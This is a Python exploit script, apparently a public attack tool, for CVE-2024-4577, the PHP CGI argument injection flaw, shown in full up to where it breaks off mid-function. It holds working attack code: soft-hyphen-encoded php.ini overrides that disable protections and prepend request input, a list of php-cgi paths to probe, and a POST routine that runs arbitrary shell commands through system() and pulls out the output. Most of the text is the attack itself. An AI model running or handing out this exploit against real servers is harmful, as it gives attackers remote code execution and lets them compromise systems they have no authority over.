The vulnerability exists due to improper handling # of command-line arguments in PHP CGI, which can be exploited to bypass security restrictions # and execute arbitrary commands with the privileges of the web server. This vulnerability # affects all PHP versions before 8.3.4, 8.2.17, and 8.1.27. # # Impact: # - Remote Code Execution (RCE) # - Information Disclosure # - Server Compromise # # References: # - https://nvd.nist.gov/vuln/detail/cve-2024-4577 # - https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure # - https://www.tarlogic.com/blog/cve-2024-4577-critical-vulnerability-php/ # - https://learn.microsoft.com/en-us/answers/questions/1725847/php-8-3-vulnerability-cve-2024-4577 # - https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/ # # Requirements: urllib3>=1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures import re import sys import base64 import requests import argparse from rich.console import Console from urllib3 import disable_warnings from urllib3.exceptions import InsecureRequestWarning from alive_progress import alive_bar from concurrent.futures import ThreadPoolExecutor, as_completed disable_warnings(InsecureRequestWarning) console = Console() class PHPCGIExploit: """CVE-2024-4577 PHP CGI Argument Injection RCE Exploit""" def __init__(self): self.headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Optimized settings for PHP CGI argument injection self.php_settings = [ "-d cgi.force_redirect=0", "-d cgi.redirect_status_env=0", "-d fastcgi.impersonate=1", "-d open_basedir=", "-d disable_functions=", "-d auto_prepend_file=php://input", "-d allow_url_include=1", "-d allow_url_fopen=1" ] # Soft hyphen character for Windows systems self.soft_hyphen = "%AD" # 0xAD character # Different PHP CGI paths to try self.cgi_paths = [ "/php-cgi/php-cgi.exe", "/php/php-cgi.exe", "/cgi-bin/php-cgi.exe", "/php-cgi.exe", "/php.exe", "/php/php.exe" ] def ascii_art(self): print("") console.print("[bold red] ____ _ _ ____ ____ ____ ___[/bold red]") console.print("[bold red] | _ \| | | | _ \ / ___|/ ___|_ _|[/bold red]") console.print("[bold red] | |_) | |_| | |_) | | | | | _ | |[/bold red]") console.print("[bold red] | __/| _ | __/ | |___| |_| || |[/bold red]") console.print("[bold red] |_| |_| |_|_| \____|\____|___|[/bold red]") console.print("[bold yellow] CVE-2024-4577 Exploit[/bold yellow]") console.print("[dim white] PHP CGI Argument Injection[/dim white]") console.print("[dim cyan] Developer: @ibrahimsql[/dim cyan]") print("") def build_payload_url(self, cgi_path): # Argument injection with soft hyphen settings_str = " ".join(self.php_settings).replace("-", self.soft_hyphen) settings_str = settings_str.replace("=", "%3D").replace(" ", "+") return f"{cgi_path}?{settings_str}" def execute_command(self, target, command="whoami", cgi_path=None): """Execute command on target using PHP CGI argument injection""" try: # Create PHP code php_code = f"""<?php error_reporting(0); echo '[START]'; system('{command}'); echo '[END]'; die(); ?>""" # If no CGI path specified, try all paths if cgi_path: paths_to_try = [cgi_path] else: paths_to_try = self.cgi_paths for path in paths_to_try: try: payload_url = self.build_payload_url(path) full_url = f"{target.rstrip('/')}{payload_url}" response = requests.post( full_url, headers=self.headers, data=php_code, timeout=10, verify=False, allow_redirects=False ) # Check output if response.status_code == 200: output_match = re.search(r'\[START\](.*?)\[END\]', response.text, re.DOTALL) if output_match: return output_match.group(1).strip(), path except requests.exceptions.RequestException: continue return None, None except Exception as e: console.print(f"[red][-][/red] Error: {str(e)}") return None, None def check_vulnerability(self, target): """Check if target is vulnerable""" console.print(f"[blue][*][/blue] Testing target: {target}") # Test with a simple command result, cgi_path = self.execute_command(target, "echo CVE-2024-4577-TEST") if result and "CVE-2024-4577-TEST" in result: console.print(f"[green][+][/green] Target is vulnerable!
